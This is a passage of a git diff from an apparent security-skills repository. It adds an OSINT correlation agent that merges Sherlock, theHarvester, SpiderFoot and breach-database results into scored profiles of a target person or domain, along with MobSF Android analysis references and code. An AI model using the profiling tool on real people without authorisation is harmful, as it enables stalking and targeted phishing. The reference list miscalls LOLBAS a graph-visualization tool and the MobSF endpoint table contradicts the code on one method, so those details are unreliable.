purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/performing-ai-driven-osint-correlation/references/api-reference.md b/skills/performing-ai-driven-osint-correlation/references/api-reference.md new file mode 100644 index 00000000..b1cbd973 --- /dev/null +++ b/skills/performing-ai-driven-osint-correlation/references/api-reference.md @@ -0,0 +1,168 @@ +# API Reference: Performing AI-Driven OSINT Correlation + +## CLI Usage + +```bash +# Correlate Sherlock + theHarvester results +python agent.py --target "targetdomain.com" \ + --sherlock sherlock-results.csv \ + --harvester harvester-results.json \ + -o correlation_report.json + +# Full multi-source correlation +python agent.py --target "john.doe" \ + --sherlock sherlock.csv \ + --harvester harvester.json \ + --spiderfoot spiderfoot.json \ + --breach breach-results.json \ + -o report.json \ + --markdown intelligence-profile.md + +# Normalize only (no correlation) +python agent.py --sherlock sherlock.csv --harvester harvester.json \ + --normalize-only -o normalized.json + +# Load pre-normalized generic findings +python agent.py --generic normalized_findings.json -o report.json +``` + +## Supported Data Sources + +| Source | Flag | Input Format | Data Extracted | +|--------|------|-------------|----------------| +| Sherlock | `--sherlock` | CSV or text | Usernames, social profile URLs, platforms | +| theHarvester | `--harvester` | JSON | Emails, hostnames, IP addresses | +| SpiderFoot | `--spiderfoot` | JSON | Mixed OSINT findings (200+ module types) | +| Breach/HIBP | `--breach` | JSON | Breach names, dates, data classes | +| Generic | `--generic` | JSON array | Any pre-normalized findings | + +## Input File Formats + +### Sherlock CSV Format + +```csv +username,name,url_user,exists,http_status +johndoe,GitHub,https://github.com/johndoe,Claimed,200 +johndoe,Twitter,https://twitter.com/johndoe,Claimed,200 +``` + +### theHarvester JSON Format + +```json +{ + "emails": ["john@targetdomain.com", "admin@targetdomain.com"], + "hosts": ["mail.targetdomain.com", "vpn.targetdomain.com"], + "ips": ["203.0.113.10", "203.0.113.11"] +} +``` + +### SpiderFoot JSON Format + +```json +[ + {"type": "EMAILADDR", "data": "john@targetdomain.com", "module": "sfp_hunter"}, + {"type": "IP_ADDRESS", "data": "203.0.113.10", "module": "sfp_dnsresolve"}, + {"type": "SOCIAL_MEDIA", "data": "https://github.com/johndoe", "module": "sfp_github"} +] +``` + +### Breach/HIBP JSON Format + +```json +[ + { + "Name": "ExampleBreach", + "BreachDate": "2023-06-15", + "DataClasses": ["Email addresses", "Passwords", "Usernames"] + } +] +``` + +## Correlation Confidence Scoring + +| Factor | Weight | Description | +|--------|--------|-------------| +| Exact email match | 0.95 | Same email found across multiple sources | +| Breach email match | 0.90 | Email found in breach database | +| Exact username match | 0.85 | Same username across multiple platforms | +| Same IP infrastructure | 0.70 | Shared IP address or hosting | +| Domain match | 0.60 | Shared domain registration or hosting | +| Similar username | 0.45 | Partial username overlap with shared metadata | +| Temporal co-registration | 0.40 | Accounts created within similar timeframe | + +Cross-source corroboration increases confidence: +0.15 per additional source, capped at 0.95. + +## Report Output Schema + +```json +{ + "meta": { + "target": "targetdomain.com", + "generated_at": "2026-03-19T12:00:00+00:00", + "sources_used": ["sherlock", "theHarvester", "spiderfoot", "breach_database"], + "total_findings": 247, + "total_entities": 12 + }, + "identifiers": { + "usernames": ["johndoe", "jdoe"], + "emails": ["john@targetdomain.com"], + "domains": ["targetdomain.com"], + "ip_addresses": ["203.0.113.10"], + "urls": ["https://github.com/johndoe"] + }, + "entities": [ + { + "identifier": "johndoe", + "identifier_type": "user", + "confidence": 0.92, + "sources": ["sherlock", "theHarvester", "breach_database"], + "source_count": 3, + "linked_accounts": [ + {"source": "sherlock", "platform": "GitHub", "url": "https://github.com/johndoe"} + ], + "flags": ["Exposed in 2 breach(es)"], + "risk_level": "high" + } + ], + "risk_summary": { + "high_risk": 2, + "medium_risk": 5, + "low_risk": 5 + } +} +``` + +## Markdown Report Output + +The `--markdown` flag generates an intelligence profile in Markdown containing: +- Target metadata and source summary +- Risk summary table +- Entity profiles with linked accounts, confidence scores, and risk flags + +## OSINT Tool Commands (Data Collection) + +```bash +# Sherlock: enumerate username across platforms +sherlock "targetuser" --output sherlock.csv --csv + +# theHarvester: harvest emails and subdomains +theHarvester -d targetdomain.com -b all -f harvester.json + +# SpiderFoot: passive scan via REST API +curl -s http://localhost:5001/api/scan/start \ + -d "scanname=recon&scantarget=targetdomain.com&usecase=passive" + +# HIBP: check email breach exposure +curl -s -H "hibp-api-key: ${HIBP_KEY}" -H "User-Agent: OSINT-Agent" \ + "https://haveibeenpwned.com/api/v3/breachedaccount/target@example.com" \ + -o breach.json +``` + +## References + +- Sherlock Project: https://github.com/sherlock-project/sherlock +- theHarvester: https://github.com/laramies/theHarvester +- SpiderFoot: https://github.com/smicallef/spiderfoot +- HIBP API: https://haveibeenpwned.com/API/v3 +- Maltego: https://www.maltego.com/ +- LOLBAS for graph visualization: https://lolbas-project.github.io/ diff --git a/skills/performing-ai-driven-osint-correlation/scripts/agent.py b/skills/performing-ai-driven-osint-correlation/scripts/agent.py new file mode 100644 index 00000000..605921ea --- /dev/null +++ b/skills/performing-ai-driven-osint-correlation/scripts/agent.py @@ -0,0 +1,438 @@ +#!/usr/bin/env python3 +"""Agent for performing AI-driven OSINT correlation. + +Collects and normalizes OSINT data from multiple sources (Sherlock, +theHarvester, SpiderFoot, breach databases), performs cross-source +entity resolution and correlation, and generates unified intelligence +profiles with confidence scoring. +""" + +import argparse +import csv +import json +import os +import re +import sys +from collections import defaultdict +from datetime import datetime, timezone +from pathlib import Path + +try: + import requests +except ImportError: + requests = None + + +# Confidence scoring weights for different correlation types +CORRELATION_WEIGHTS = { + "exact_username_match": 0.85, + "exact_email_match": 0.95, + "domain_match": 0.60, + "similar_username": 0.45, + "same_ip_infrastructure": 0.70, + "breach_email_match": 0.90, + "co_registration_temporal": 0.40, +} + + +def load_sherlock_results(filepath): + """Load and normalize Sherlock username enumeration results.""" + findings = [] + if not os.path.isfile(filepath): + return findings + + # Sherlock outputs CSV with columns: username, name, url_user, exists, http_status + try: + with open(filepath, "r", errors="replace") as f: + reader = csv.DictReader(f) + for row in reader: + status = row.get("exists", row.get("status", "")).strip().lower() + if status in ("claimed", "true", "yes"): + findings.append({ + "source": "sherlock", + "type": "social_profile", + "platform": row.get("name", row.get("platform", "")), + "url": row.get("url_user", row.get("url", "")), + "username": row.get("username", ""), + "collected_at": datetime.now(timezone.utc).isoformat(), + }) + except (csv.Error, KeyError): + # Try line-by-line format (Sherlock text output) + with open(filepath, "r", errors="replace") as f: + for line in f: + line = line.strip() + if line.startswith("[+]") or line.startswith("http"): + url_match = re.search(r'(https?://\S+)', line) + if url_match: + url = url_match.group(1) + platform = url.split("/")[2].replace("www.", "").split(".")[0] + findings.append({ + "source": "sherlock", + "type": "social_profile", + "platform": platform, + "url": url, + "collected_at": datetime.now(timezone.utc).isoformat(), + }) + return findings + + +def load_harvester_results(filepath): + """Load and normalize theHarvester results.""" + findings = [] + if not os.path.isfile(filepath): + return findings + + try: + with open(filepath, "r") as f: + data = json.load(f) + except (json.JSONDecodeError, ValueError): + return findings + + for email in data.get("emails", []): + findings.append({ + "source": "theHarvester", + "type": "email", + "value": email, + "collected_at": datetime.now(timezone.utc).isoformat(), + }) + for host in data.get("hosts", []): + findings.append({ + "source": "theHarvester", + "type": "hostname", + "value": host, + "collected_at": datetime.now(timezone.utc).isoformat(), + }) + for ip in data.get("ips", []): + findings.append({ + "source": "theHarvester", + "type": "ip_address", + "value": ip, + "collected_at": datetime.now(timezone.utc).isoformat(), + }) + return findings + + +def load_spiderfoot_results(filepath): + """Load and normalize SpiderFoot scan results.""" + findings = [] + if not os.path.isfile(filepath): + return findings + + try: + with open(filepath, "r") as f: + data = json.load(f) + except (json.JSONDecodeError, ValueError): + return findings + + items = data if isinstance(data, list) else data.get("results", []) + for item in items: + findings.append({ + "source": "spiderfoot", + "type": item.get("type", "unknown"), + "value": item.get("data", item.get("value", "")), + "module": item.get("module", ""), + "collected_at": datetime.now(timezone.utc).isoformat(), + }) + return findings + + +def load_breach_results(filepath): + """Load and normalize breach/HIBP results.""" + findings = [] + if not os.path.isfile(filepath): + return findings + + try: + with open(filepath, "r") as f: + data = json.load(f) + except (json.JSONDecodeError, ValueError): + return findings + + breaches = data if isinstance(data, list) else [data] + for breach in breaches: + findings.append({ + "source": "breach_database", + "type": "breach_exposure", + "breach_name": breach.get("Name", breach.get("name", "")), + "breach_date": breach.get("BreachDate", breach.get("date", "")), + "data_classes": breach.get("DataClasses", breach.get("data_types", [])), + "collected_at": datetime.now(timezone.utc).isoformat(), + }) + return findings + + +def normalize_all_sources(source_files): + """Load and combine findings from all OSINT sources.""" + all_findings = [] + + for source_type, filepath in source_files.items(): + if not filepath or not os.path.isfile(filepath): + continue + + if source_type == "sherlock": + all_findings.extend(load_sherlock_results(filepath)) + elif source_type == "harvester": + all_findings.extend(load_harvester_results(filepath)) + elif source_type == "spiderfoot": + all_findings.extend(load_spiderfoot_results(filepath)) + elif source_type == "breach": + all_findings.extend(load_breach_results(filepath)) + elif source_type == "generic": + try: + with open(filepath, "r") as f: + data = json.load(f) + if isinstance(data, list): + all_findings.extend(data) + elif isinstance(data, dict) and "findings" in data: + all_findings.extend(data["findings"]) + except (json.JSONDecodeError, ValueError): + pass + + return all_findings + + +def extract_identifiers(findings): + """Extract unique identifiers (usernames, emails, IPs, domains) from findings.""" + identifiers = { + "usernames": set(), + "emails": set(), + "domains": set(), + "ip_addresses": set(), + "urls": set(), + } + + for f in findings: + ftype = f.get("type", "") + value = f.get("value", "") + username = f.get("username", "") + url = f.get("url", "") + + if username: + identifiers["usernames"].add(username.lower()) + if url: + identifiers["urls"].add(url) + + if ftype == "email" and value: + identifiers["emails"].add(value.lower()) + domain = value.split("@")[-1] if "@" in value else "" + if domain: + identifiers["domains"].add(domain.lower()) + elif ftype == "hostname" and value: + identifiers["domains"].add(value.lower()) + elif ftype == "ip_address" and value: + identifiers["ip_addresses"].add(value) + elif ftype == "social_profile": + platform_user = f.get("username", "") + if platform_user: + identifiers["usernames"].add(platform_user.lower()) + + return {k: sorted(v) for k, v in identifiers.items()} + + +def correlate_findings(findings): + """Perform cross-source correlation to identify linked entities.""" + entities = [] + source_map = defaultdict(list) + + # Group findings by identifiers + for f in findings: + username = f.get("username", "").lower() + email = f.get("value", "").lower() if f.get("type") == "email" else "" + url = f.get("url", "") + + if username: + source_map[f"user:{username}"].append(f) + if email: + source_map[f"email:{email}"].append(f) + # Also link by email username part + email_user = email.split("@")[0] if "@" in email else "" + if email_user: + source_map[f"user:{email_user}"].append(f) + + # Build entities from correlated groups + processed = set() + for key, group_findings in source_map.items(): + if key in processed or len(group_findings) < 1: + continue + processed.add(key) + + sources_seen = set(f.get("source", "") for f in group_findings) + platforms = [f.get("platform", "") for f in group_findings if f.get("platform")] + urls = [f.get("url", "") for f in group_findings if f.get("url")] + + # Calculate confidence based on cross-source corroboration + confidence = 0.5 + if len(sources_seen) > 1: + confidence = min(0.95, 0.5 + 0.15 * len(sources_seen)) + if len(platforms) > 3: + confidence = min(0.98, confidence + 0.1) + + identifier = key.split(":", 1)[1] if ":" in key else key + entity = { + "identifier": identifier, + "identifier_type": key.split(":")[0] if ":" in key else "unknown", + "confidence": round(confidence, 2), + "sources": sorted(sources_seen), + "source_count": len(sources_seen), + "linked_accounts": [], + "flags": [], + } + + for f in group_findings: + link = { + "source": f.get("source", ""), + "platform": f.get("platform", ""), + "url": f.get("url", ""), + "type": f.get("type", ""), + "value": f.get("value", f.get("username", "")), + } + entity["linked_accounts"].append(link) + + # Risk assessment + breach_findings = [f for f in group_findings if f.get("type") == "breach_exposure"] + if breach_findings: + entity["flags"].append( + f"Exposed in {len(breach_findings)} breach(es)" + ) + entity["risk_level"] = "high" + elif len(sources_seen) >= 3: + entity["risk_level"] = "medium" + else: + entity["risk_level"] = "low" + + entities.append(entity) + + # Sort by confidence descending + entities.sort(key=lambda e: e["confidence"], reverse=True) + return entities + + +def generate_report(findings, entities, target="unknown"): + """Generate structured OSINT correlation report.""" + sources_used = sorted(set(f.get("source", "") for f in findings)) + identifier_summary = extract_identifiers(findings) + + report = { + "meta": { + "target": target, + "generated_at": datetime.now(timezone.utc).isoformat(), + "sources_used": sources_used, + "total_findings": len(findings), + "total_entities": len(entities), + }, + "identifiers": identifier_summary, + "entities": entities, + "risk_summary": { + "high_risk": sum(1 for e in entities if e.get("risk_level") == "high"), + "medium_risk": sum(1 for e in entities if e.get("risk_level") == "medium"), + "low_risk": sum(1 for e in entities if e.get("risk_level") == "low"), + }, + } + return report + + +def generate_markdown_report(report, output_path): + """Generate a Markdown intelligence profile from the report.""" + md = "# OSINT Correlation Report\n\n" + meta = report.get("meta", {}) + md += f"**Target:** {meta.get('target', 'N/A')}\n" + md += f"**Generated:** {meta.get('generated_at', '')}\n" + md += f"**Sources:** {', '.join(meta.get('sources_used', []))}\n" + md += f"**Total Findings:** {meta.get('total_findings', 0)}\n" + md += f"**Entities Identified:** {meta.get('total_entities', 0)}\n\n" + + risk = report.get("risk_summary", {}) + md += "## Risk Summary\n\n" + md += f"| Risk Level | Count |\n|-----------|-------|\n" + md += f"| High | {risk.get('high_risk', 0)} |\n" + md += f"| Medium | {risk.get('medium_risk', 0)} |\n" + md += f"| Low | {risk.get('low_risk', 0)} |\n\n" + + md += "## Entity Profiles\n\n" + for entity in report.get("entities", [])[:50]: + eid = entity.get("identifier", "Unknown") + conf = entity.get("confidence", 0) + risk_level = entity.get("risk_level", "N/A") + md += f"### {eid} (Confidence: {conf:.0%}, Risk: {risk_level})\n\n" + md += "| Source | Platform | Value |\n|--------|----------|-------|\n" + for link in entity.get("linked_accounts", []): + md += (f"| {link.get('source', '')} | {link.get('platform', '')} " + f"| {link.get('value', '')} |\n") + for flag in entity.get("flags", []): + md += f"\n- WARNING: {flag}\n" + md += "\n" + + with open(output_path, "w") as f: + f.write(md) + print(f"[*] Markdown report saved to {output_path}") + + +def main(): + parser = argparse.ArgumentParser( + description="AI-Driven OSINT Correlation Agent" + ) + parser.add_argument("--target", default="unknown", + help="Target identifier (domain, username, etc.)") + parser.add_argument("--sherlock", help="Sherlock results file (CSV or text)") + parser.add_argument("--harvester", help="theHarvester results file (JSON)") + parser.add_argument("--spiderfoot", help="SpiderFoot results file (JSON)") + parser.add_argument("--breach", help="Breach/HIBP results file (JSON)") + parser.add_argument("--generic", help="Generic normalized findings JSON") + parser.add_argument("--normalize-only", action="store_true", + help="Only normalize data, skip correlation") + parser.add_argument("--markdown", help="Output Markdown report path") + parser.add_argument("--output", "-o", help="Output JSON report path") + args = parser.parse_args() + + print("[*] AI-Driven OSINT Correlation Agent") + + source_files = { + "sherlock": args.sherlock, + "harvester": args.harvester, + "spiderfoot": args.spiderfoot, + "breach": args.breach, + "generic": args.generic, + } + + active_sources = {k: v for k, v in source_files.items() if v} + if not active_sources: + parser.print_help() + print("\n[!] Provide at least one data source file.") + return + + print(f"[*] Loading data from {len(active_sources)} source(s): " + f"{', '.join(active_sources.keys())}") + + findings = normalize_all_sources(source_files) + print(f"[*] Normalized {len(findings)} findings") + + if args.normalize_only: + output = json.dumps(findings, indent=2) + if args.output: + with open(args.output, "w") as f: + f.write(output) + print(f"[*] Normalized findings saved to {args.output}") + else: + print(output) + return + + print("[*] Performing cross-source correlation...") + entities = correlate_findings(findings) + print(f"[*] Identified {len(entities)} entities") + + report = generate_report(findings, entities, target=args.target) + + output = json.dumps(report, indent=2) + if args.output: + with open(args.output, "w") as f: + f.write(output) + print(f"[*] JSON report saved to {args.output}") + else: + print(output) + + if args.markdown: + generate_markdown_report(report, args.markdown) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-alert-triage-with-elastic-siem/scripts/agent.py b/skills/performing-alert-triage-with-elastic-siem/scripts/agent.py index d3f847cc..804e0c41 100644 --- a/skills/performing-alert-triage-with-elastic-siem/scripts/agent.py +++ b/skills/performing-alert-triage-with-elastic-siem/scripts/agent.py @@ -7,7 +7,7 @@ import argparse import json import sys from collections import Counter -from datetime import datetime, timedelta +from datetime import datetime from pathlib import Path try: diff --git a/skills/performing-android-app-static-analysis-with-mobsf/references/api-reference.md b/skills/performing-android-app-static-analysis-with-mobsf/references/api-reference.md index 3c6869cc..c061ebe0 100644 --- a/skills/performing-android-app-static-analysis-with-mobsf/references/api-reference.md +++ b/skills/performing-android-app-static-analysis-with-mobsf/references/api-reference.md @@ -1,27 +1,199 @@ -# API Reference: MobSF Android static analysis agent +# API Reference: MobSF Android Static Analysis -## API Details -MobSF API: POST /api/v1/upload, POST /api/v1/scan, GET /api/v1/report_json, API key auth +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | HTTP client for MobSF REST API v1 | +| `json` | Parse scan reports and finding data | +| `os` | Read `MOBSF_URL` and `MOBSF_API_KEY` environment variables | ## Installation + ```bash pip install requests + +# MobSF server (Docker) +docker pull opensecurity/mobile-security-framework-mobsf +docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf ``` -## Libraries - -| Library | Use | -|---------|-----| -| `requests` | requests | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +MobSF uses API key authentication. The default key is shown on the MobSF dashboard: + +```python +import requests +import os + +MOBSF_URL = os.environ.get("MOBSF_URL", "http://localhost:8000") +MOBSF_KEY = os.environ["MOBSF_API_KEY"] +headers = {"Authorization": MOBSF_KEY} +``` + +## REST API v1 Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| POST | `/api/v1/upload` | Upload APK, IPA, ZIP, or APPX for analysis | +| POST | `/api/v1/scan` | Trigger static analysis on uploaded file | +| GET | `/api/v1/report_json` | Get full JSON analysis report | +| POST | `/api/v1/download_pdf` | Download PDF report | +| GET | `/api/v1/scans` | List recent scans | +| POST | `/api/v1/delete_scan` | Delete a scan and its data | +| POST | `/api/v1/search` | Search scans by hash or filename | +| POST | `/api/v1/compare` | Compare two app scans | +| GET | `/api/v1/scorecard` | Get app security scorecard | +| GET | `/api/v1/scan_logs` | View live scan logs | + +## Core Operations + +### Upload an APK +```python +def upload_apk(file_path): + with open(file_path, "rb") as f: + resp = requests.post( + f"{MOBSF_URL}/api/v1/upload", + files={"file": (os.path.basename(file_path), f, "application/octet-stream")}, + headers=headers, + timeout=120, + ) + resp.raise_for_status() + result = resp.json() + return result["hash"], result["scan_type"], result["file_name"] + # hash: SHA-256 of the uploaded file + # scan_type: "apk", "ipa", "zip", "appx" +``` + +### Trigger Static Analysis +```python +def start_scan(file_hash, scan_type, file_name): + resp = requests.post( + f"{MOBSF_URL}/api/v1/scan", + data={ + "hash": file_hash, + "scan_type": scan_type, + "file_name": file_name, + }, + headers=headers, + timeout=600, # Scans can take several minutes + ) + resp.raise_for_status() + return resp.json() +``` + +### Retrieve JSON Report +```python +def get_report(file_hash): + resp = requests.post( + f"{MOBSF_URL}/api/v1/report_json", + data={"hash": file_hash}, + headers=headers, + timeout=60, + ) + resp.raise_for_status() + return resp.json() +``` + +### Extract Key Findings +```python +def extract_findings(report): + findings = { + "security_score": report.get("security_score", "N/A"), + "app_name": report.get("app_name"), + "package_name": report.get("package_name"), + "target_sdk": report.get("target_sdk"), + "min_sdk": report.get("min_sdk"), + "permissions": { + "dangerous": [], + "normal": [], + }, + "manifest_issues": [], + "code_issues": [], + "binary_issues": [], + } + + # Dangerous permissions + for perm, details in report.get("permissions", {}).items(): + status = details.get("status", "normal") + if status == "dangerous": + findings["permissions"]["dangerous"].append(perm) + else: + findings["permissions"]["normal"].append(perm) + + # Manifest analysis + for issue in report.get("manifest_analysis", []): + if issue.get("severity") in ("high", "warning"): + findings["manifest_issues"].append({ + "title": issue["title"], + "severity": issue["severity"], + "description": issue["description"], + }) + + # Code analysis + for issue_key, issue_data in report.get("code_analysis", {}).items(): + findings["code_issues"].append({ + "rule": issue_key, + "severity": issue_data.get("level"), + "description": issue_data.get("description"), + "files": issue_data.get("path", [])[:5], + }) + + return findings +``` + +### Download PDF Report +```python +def download_pdf(file_hash, output_path): + resp = requests.post( + f"{MOBSF_URL}/api/v1/download_pdf", + data={"hash": file_hash}, + headers=headers, + timeout=120, + ) + resp.raise_for_status() + with open(output_path, "wb") as f: + f.write(resp.content) +``` + +### Compare Two Applications +```python +resp = requests.post( + f"{MOBSF_URL}/api/v1/compare", + data={"hash1": hash_v1, "hash2": hash_v2}, + headers=headers, + timeout=120, +) +comparison = resp.json() +# Shows permission changes, new vulnerabilities, code changes +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +{ + "file_name": "app-debug.apk", + "app_name": "TestApp", + "package_name": "com.example.testapp", + "security_score": 42, + "target_sdk": "33", + "min_sdk": "24", + "permissions": { + "android.permission.INTERNET": {"status": "normal", "description": "..."}, + "android.permission.READ_CONTACTS": {"status": "dangerous", "description": "..."} + }, + "manifest_analysis": [ + {"title": "Application is debuggable", "severity": "high", "description": "..."} + ], + "code_analysis": { + "android_insecure_random": { + "level": "high", + "description": "Insecure Random Number Generator", + "path": ["com/example/CryptoUtils.java"] + } + }, + "binary_analysis": [ + {"title": "NX bit not set", "severity": "high"} + ] +} ``` diff --git a/skills/performing-android-app-static-analysis-with-mobsf/scripts/agent.py b/skills/performing-android-app-static-analysis-with-mobsf/scripts/agent.py index dd28743d..600288e0 100644 --- a/skills/performing-android-app-static-analysis-with-mobsf/scripts/agent.py +++ b/skills/performing-android-app-static-analysis-with-mobsf/scripts/agent.py @@ -1,60 +1,261 @@ #!/usr/bin/env python3 -"""MobSF Android static analysis agent.""" -import argparse, json, sys +"""MobSF Android static analysis agent. + +Automates APK upload, static analysis scanning, and report retrieval +via the MobSF REST API. Extracts security findings including manifest +analysis, code analysis, binary analysis, and certificate checks. +""" +import argparse +import json +import os +import sys +import time from datetime import datetime, timezone + try: import requests except ImportError: - requests = None + print("[!] 'requests' library required: pip install requests", file=sys.stderr) + sys.exit(1) -def run_scan(target, token=None): + +def get_mobsf_config(): + """Return MobSF server URL and API key from env or defaults.""" + server = os.environ.get("MOBSF_URL", "http://localhost:8000") + api_key = os.environ.get("MOBSF_API_KEY", "") + if not api_key: + print("[!] Set MOBSF_API_KEY environment variable", file=sys.stderr) + sys.exit(1) + return server.rstrip("/"), api_key + + +def upload_apk(server, api_key, apk_path): + """Upload an APK file to MobSF and return the file hash.""" + url = f"{server}/api/v1/upload" + headers = {"Authorization": api_key} + if not os.path.isfile(apk_path): + print(f"[!] File not found: {apk_path}", file=sys.stderr) + sys.exit(1) + print(f"[*] Uploading {os.path.basename(apk_path)} to MobSF...") + with open(apk_path, "rb") as f: + resp = requests.post( + url, + files={"file": (os.path.basename(apk_path), f, "application/octet-stream")}, + headers=headers, + timeout=300, + ) + resp.raise_for_status() + data = resp.json() + file_hash = data.get("hash", "") + scan_type = data.get("scan_type", "apk") + file_name = data.get("file_name", os.path.basename(apk_path)) + print(f"[+] Uploaded: {file_name} (hash: {file_hash}, type: {scan_type})") + return file_hash, scan_type, file_name + + +def start_scan(server, api_key, file_hash, scan_type, file_name): + """Trigger static analysis scan on the uploaded APK.""" + url = f"{server}/api/v1/scan" + headers = {"Authorization": api_key} + print(f"[*] Starting static analysis scan for {file_name}...") + resp = requests.post( + url, + data={"hash": file_hash, "scan_type": scan_type, "file_name": file_name}, + headers=headers, + timeout=600, + ) + resp.raise_for_status() + print("[+] Scan complete") + return resp.json() + + +def get_report(server, api_key, file_hash): + """Retrieve the JSON report for a scanned APK.""" + url = f"{server}/api/v1/report_json" + headers = {"Authorization": api_key} + resp = requests.post( + url, + data={"hash": file_hash}, + headers=headers, + timeout=120, + ) + resp.raise_for_status() + return resp.json() + + +def get_scorecard(server, api_key, file_hash): + """Retrieve the security scorecard for a scanned APK.""" + url = f"{server}/api/v1/scorecard" + headers = {"Authorization": api_key} + resp = requests.post( + url, + data={"hash": file_hash}, + headers=headers, + timeout=60, + ) + resp.raise_for_status() + return resp.json() + + +def extract_findings(report): + """Extract structured security findings from MobSF report JSON.""" findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} if token else {} - try: - resp = requests.get(f"{target}", headers=headers, timeout=15) - if resp.status_code == 200: - findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) - else: - findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) + + # Manifest analysis + for item in report.get("manifest_analysis", 